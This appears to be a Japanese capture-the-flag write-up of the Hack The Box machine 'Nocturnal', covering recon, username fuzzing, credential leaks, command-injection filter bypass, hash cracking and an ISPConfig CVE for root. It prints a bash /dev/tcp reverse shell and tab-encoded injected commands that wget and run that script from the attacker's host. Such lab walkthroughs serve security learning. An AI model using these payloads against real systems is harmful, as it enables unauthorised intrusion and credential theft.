Nocturnal HTB WriteUp
今回はHack the BoxのEasyマシンNocturnalのWriteUpです!
偵察
nmap
nmap -sCV 10.10.11.64
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-02 20:20 JST
Nmap scan report for 10.10.11.64
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.01 seconds
22番と80番を確認
ブラウザでアクセスするために/etc/hosts
に10.10.11.64 nocturnal.htb
を追加
gobuster
いつもの流れで一応実行
gobuster dir -u http://nocturnal.htb -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://nocturnal.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin.php (Status: 302) [Size: 0] [--> login.php]
/backups (Status: 301) [Size: 178] [--> http://nocturnal.htb/backups/]
/index.php (Status: 200) [Size: 1524]
/uploads (Status: 403) [Size: 162]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
==============================================================
サイトにアクセス
Excel, Word, PDFファイルをアップロードできるサイト。
registerのリンクがあるのでUsername a, Password aで登録、ログインをした。
適当にPDFをアップロードしてみる。
ダウンロードもできるので、そのときのURLを確認。
http://nocturnal.htb/view.php?username=a&file=Upgrade_Notice.pdf
リンクの中にusername=a
があり、先ほど登録したものが見られる。
username=test
に変更してアクセス。
User not foundが表示された。testは存在しないからアクセスできないだけで、存在するUserの場合アクセスできそう。
ファジング
usernameに関してffuf
を利用してファジングを行う。
ここでログインしたユーザーしか見られないページやディレクトリを探す場合、Cookieがないとサーバーはあなたを「部外者」と判断し、ログインページに追い返してしまい、302リダイレクトの原因になることが多い。Cookieをリクエストに含めることで、ffufは「正当なログイン済みユーザー」として振る舞うことができ、 隠されたページや機能を発見できる可能性が上がる。
サイト上でデバッカーツールでStorage、Cookiesの項目で確認
ファジングはseclistsのnames.txtを利用。
ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=Upgrade_Notice.pdf' -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -H 'Cookie:PHPSESSID=pl7l586097scqp4n6b291iqt0s' -t 150 -fs 2985 -mc 200
admin/amanda/tobias
が見つかった。
見つかったユーザにアクセス
admin, tobiasでは特に何もなかった
amandaでは1つアップロードされたファイルprivacy.odt
があった。
ダウンロードしてLibreOfficeで開いてみる。
このファイルにパスワードarHkG7HAI68X8s1J
が含まれていた。
パスワードが変更されてない可能性も考えてこのパスワードでログイン画面からログイン。
左上にGo to Admin Panelがあるので、アクセスしてみる。admin.phpにアクセスできた。下のほうにCreate Buckupがあったので、パスワードを設定して実行した。様々なファイルがダウンロードできた。
ダウンロードしたadmin.phpのソースコードを読んで脆弱な部分がないかを調べる。
ユーザーが入力した$password
を直接含んだOSコマンドをproc_open()
で実行していた。OSコマンドインジェクションを狙う絶好のポイントを見つけた。
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
...
開発者はこの危険性を認識しており、cleanEntry()
という関数で対策しようとしている。
この関数は「禁止リスト(ブラックリスト)」方式です。: や &、スペース文字など、コマンドを区切る典型的な文字を禁止していた。
このリストをよく見ると、多くのコマンド区切り文字が禁止されている。スペースも禁止されているため、ls -la のようなコマンドは直接入力できない。
しかし、タブ(\t, %09)や改行(\n, %0a)は、cleanEntry()をバイパスできる。
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
リバースシェル
サイトに悪意ある.shファイルをアップロードし、実行してシェルを奪取していく。
まず、悪意ある.shファイルを作成。
echo "bash -c 'bash -i >& /dev/tcp/10.10.16.3/9001 0>&1'" > shell.sh
作成したshell.shがあるディレクトリでpython3 -m http.server 8000
を実行。
passwordに悪意あるコマンドを入れるためにBurp Suiteを起動。
パスワードを入れるところに
bash%09-c%09"wget%09http://10.10.16.3:8000/shell.sh"
を入力し、Forward。アップロードすることができた。
リバースシェルを行うために、端末上でnc -lvnp 9001
を実行し、受付先をつくる。
続いてshell.shの実行を行う。先ほど同様にパスワードを入力するところに
bash%09-c%09"bash%09shell.sh"
を入力し、Forward。
探索
シェルを取得後、認証情報の探索を行う。ls
を実行するとnocturnal_database
というディレクトリがあった。そして、その中にはnocturnal_database.db
というデータベースファイルを発見した。sqlite3でデータベースのテーブル情報を取得すると、usersというテーブルが含まれているので、その中身を確認した。
tobias|55c82b1ccd55ab219b3b109b07d5061d
からjohn
を用いてパスワードを解読。
パスワードがslowmotionapocalypse
であることが分かった。
echo 55c82b1ccd55ab219b3b109b07d5061d > hash.txt
sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-md5
user flag
tobias/slowmotionapocalypse
でssh。ユーザフラグを取得できた。
root flag
サーバーのネットワーク状態を確認する。ローカル(127.0.0.1)起動しているプロセスが確認できた。
- 3306番ポートは、MySQLデータベースサーバーがデフォルトで使用するTCP/IPポート
- 587番ポートは、電子メールの送信に使用される通信プロトコルであるSMTP(Simple Mail Transfer Protocol)の標準ポートの1つ
- 8080番ポートは、インターネット通信においてHTTPプロトコルの代替として使用されるポート番号
- 25番ポートは、インターネットで電子メールを送信する際に使われる
- 33060番ポートは、MySQL X Protocol。MySQL Shellなどが利用するプロトコル用のポート
この中で、重要そうなのは8080番ポート。
tobias@nocturnal:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
ポートフォワーディングを行いアクセス。
ssh tobias@nocturnal.htb -L 8000:127.0.0.1:8080
ISPConfigは、Linux用のオープンソースのホスティングコントロールパネル。
ユーザー名はadmin
、パスワードについては同じパスワードslowmotionapocalypse
を使用することで、ログインできた。
これに脆弱性があるかを調べるために、Helpを押してバージョンを確認。
ispconfig 3.2.10p1 cve
で検索すると、CVE-2023-46818
がヒット。
exploitがGithubにあったので、それの指示に従い実行。root権限を得ることができた。
Discussion